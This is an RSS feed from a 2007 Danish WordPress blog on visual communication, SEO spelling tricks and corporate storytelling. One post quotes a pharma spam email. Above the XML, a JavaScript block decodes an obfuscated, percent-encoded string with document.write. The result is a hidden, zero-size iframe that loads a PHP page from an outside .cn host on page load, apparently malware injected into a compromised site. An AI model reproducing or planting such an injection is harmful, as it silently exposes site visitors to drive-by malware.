<Script Language='Javascript'>
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%63%6E%77%70%70%6C%75%67%69%6E%2E%63%6E%2F%66%70%2F%69%6E%64%65%78%2E%70%68%70%27%20%77%69%64%74%68%3D%27%30%27%20%68%65%69%67%68%74%3D%27%30%27%20%73%74%79%6C%65%3D%27%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72%61%6D%65%3E'));
</Script><?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Visuel Kommunikation</title>
	<link>http://www.visuelkommunikation.info</link>
	<description>Sanselig historie fortælling på Drømmemarkedet</description>
	<pubDate>Wed, 16 May 2007 08:19:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1</generator>
	<language>en</language>
			<item>
		<title>Farve tema og matchende billeder fra Flickr.</title>
		<link>http://www.visuelkommunikation.info/2007-05-16/farve-tema-og-matchende-billeder-fra-flickr/</link>
		<comments>http://www.visuelkommunikation.info/2007-05-16/farve-tema-og-matchende-billeder-fra-flickr/#comments</comments>
		<pubDate>Wed, 16 May 2007 08:19:52 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[Visual kommunikation]]></category>

		<guid isPermaLink="false">http://www.visuelkommunikation.info/2007-05-16/farve-tema-og-matchende-billeder-fra-flickr/</guid>
		<description><![CDATA[Et sjovt og super værktøj, som kan hjælpe med at fjerne de colorerede billeder fra nettet, og erstatte dem med rigtige billedmotiver som passer i farve skemaet. Prøv det her: krazydad.com/colrpickr
]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-05-16/farve-tema-og-matchende-billeder-fra-flickr/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SEO: Stavefejlsoptimering</title>
		<link>http://www.visuelkommunikation.info/2007-04-09/seo-stavefejlsoptimering/</link>
		<comments>http://www.visuelkommunikation.info/2007-04-09/seo-stavefejlsoptimering/#comments</comments>
		<pubDate>Mon, 09 Apr 2007 03:05:24 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[SEO: Søgemaskineoptimering]]></category>

		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.visuelkommunikation.info/2007-04-09/seo-stavefejlsoptimering/</guid>
		<description><![CDATA[Jeg skulle optimere noget indhold til keyword: &#8220;mayonnaise&#8221;, som jo kan staves på flere måder, både rigtigt og forkert. Efter lidt research viste det sig at der faktisk bliver foretaget flere søgninger på &#8220;mayonaise,&#8221; med kun ét &#8220;n&#8221;, som jo er forkert stavning, men at der findes flere sider med den rigtige stavemåde &#8220;mayonnaise&#8221; på [...]]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-04-09/seo-stavefejlsoptimering/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SEO Content optimising giver dårligt sprog.</title>
		<link>http://www.visuelkommunikation.info/2007-03-29/seo-content-optimising-giver-darligt-sprog/</link>
		<comments>http://www.visuelkommunikation.info/2007-03-29/seo-content-optimising-giver-darligt-sprog/#comments</comments>
		<pubDate>Thu, 29 Mar 2007 04:22:18 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[Storytelling]]></category>

		<category><![CDATA[SEO: Søgemaskineoptimering]]></category>

		<guid isPermaLink="false">http://www.visuelkommunikation.info/2007-03-29/seo-content-optimising-giver-darligt-sprog/</guid>
		<description><![CDATA[Et interessant lille sprogligt dilemma i forhold til SEO Content development&#8230;
Jeg skulle i dag skrive en tekst med ordene &#8220;order quickly and easily&#8221;. 
Hvis man i Overture US tjekker ordene &#8220;easy&#8221; (20839 søgninger i februar) mod &#8220;easily&#8221; (1738 søgninger i februar) er der klart flere der søger på &#8220;easy&#8221;. Da i&#8217;et i easily gør at [...]]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-03-29/seo-content-optimising-giver-darligt-sprog/feed/</wfw:commentRss>
		</item>
		<item>
		<title>&#8220;Windows Vista hacket få timer efter udgivelse&#8221;</title>
		<link>http://www.visuelkommunikation.info/2007-02-16/windows-vista-hacket-fa-timer-efter-udgivelse/</link>
		<comments>http://www.visuelkommunikation.info/2007-02-16/windows-vista-hacket-fa-timer-efter-udgivelse/#comments</comments>
		<pubDate>Fri, 16 Feb 2007 06:16:39 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[Storytelling]]></category>

		<category><![CDATA[SEO: Søgemaskineoptimering]]></category>

		<guid isPermaLink="false">http://www.visuelkommunikation.info/2007-02-16/windows-vista-hacket-fa-timer-efter-udgivelse/</guid>
		<description><![CDATA[Et lille pussigt indlæg, som handler om kommunikation og ikke visuel kommunikation. Jeg fik idag en email en ukendt afsender med emnet:&#8221;Windows Vista Hacked Within Hours of Launch&#8221; - Windows Vista hacket få timer efter udgivelse. Da jeg åbnede emailen stod der, ikke uventet, følgende besked:
Hello,
Now you can order Authentic Viagra directly from Pfizer.
Here: http://www.amdinneir.info
All [...]]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-02-16/windows-vista-hacket-fa-timer-efter-udgivelse/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Web 2.0: Indhold ud af alle huller.</title>
		<link>http://www.visuelkommunikation.info/2007-02-12/web-20-indhold-ud-af-alle-huller/</link>
		<comments>http://www.visuelkommunikation.info/2007-02-12/web-20-indhold-ud-af-alle-huller/#comments</comments>
		<pubDate>Mon, 12 Feb 2007 17:12:06 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[SEO: Søgemaskineoptimering]]></category>

		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.visuelkommunikation.info/2007-02-12/web-20-indhold-ud-af-alle-huller/</guid>
		<description><![CDATA[Det er fantastisk at indholdet er kommet i fokus. Men det er dog i den grad tanken der tæller. For hvor er der dog meget vrøvl derude. Det er helt enormt. Men det er ikke vrøvlet der er problemet, det er faktisk det er der hele pointen. Vrøvlet er nyttigt for nogen. Nogen vil læse [...]]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-02-12/web-20-indhold-ud-af-alle-huller/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fortæl en historie &#8230;</title>
		<link>http://www.visuelkommunikation.info/2007-02-03/fort%c3%a6l-en-historie/</link>
		<comments>http://www.visuelkommunikation.info/2007-02-03/fort%c3%a6l-en-historie/#comments</comments>
		<pubDate>Sat, 03 Feb 2007 06:04:27 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[Storytelling]]></category>

		<guid isPermaLink="false">http://www.visuelkommunikation.info/2007-02-03/fort%c3%a6l-en-historie/</guid>
		<description><![CDATA[Hvad er Corporate Storytelling?
Corporate Storytelling er grundlæggende en måde at sælge dine produkter på. Lige meget hvad dit produkt er, er der visse nøgleord og associationer forbundet til det i folks bevidsthed. Ved at analysere dit marked, din målgruppe og hvad de vil have, skabes en positiv historie, som er forbundet til dig, dit firma [...]]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-02-03/fort%c3%a6l-en-historie/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Vis hvad du vil fortælle</title>
		<link>http://www.visuelkommunikation.info/2007-02-02/hello-world/</link>
		<comments>http://www.visuelkommunikation.info/2007-02-02/hello-world/#comments</comments>
		<pubDate>Sat, 03 Feb 2007 03:42:31 +0000</pubDate>
		<dc:creator>Strange Skov</dc:creator>
		
		<category><![CDATA[Visual kommunikation]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Visuel kommunikation er det mest naturlige i verden. Det er overalt. Det er et rødt æble. Du ved at det smager godt, bare ved at kigge på det. De gule og sorte striber på en bi fortæller dig at den er farlig. Visuel kommunikation handler om at sige hvad du gerne vil sige ved brug [...]]]></description>
		<wfw:commentRss>http://www.visuelkommunikation.info/2007-02-02/hello-world/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 2.405 seconds -->
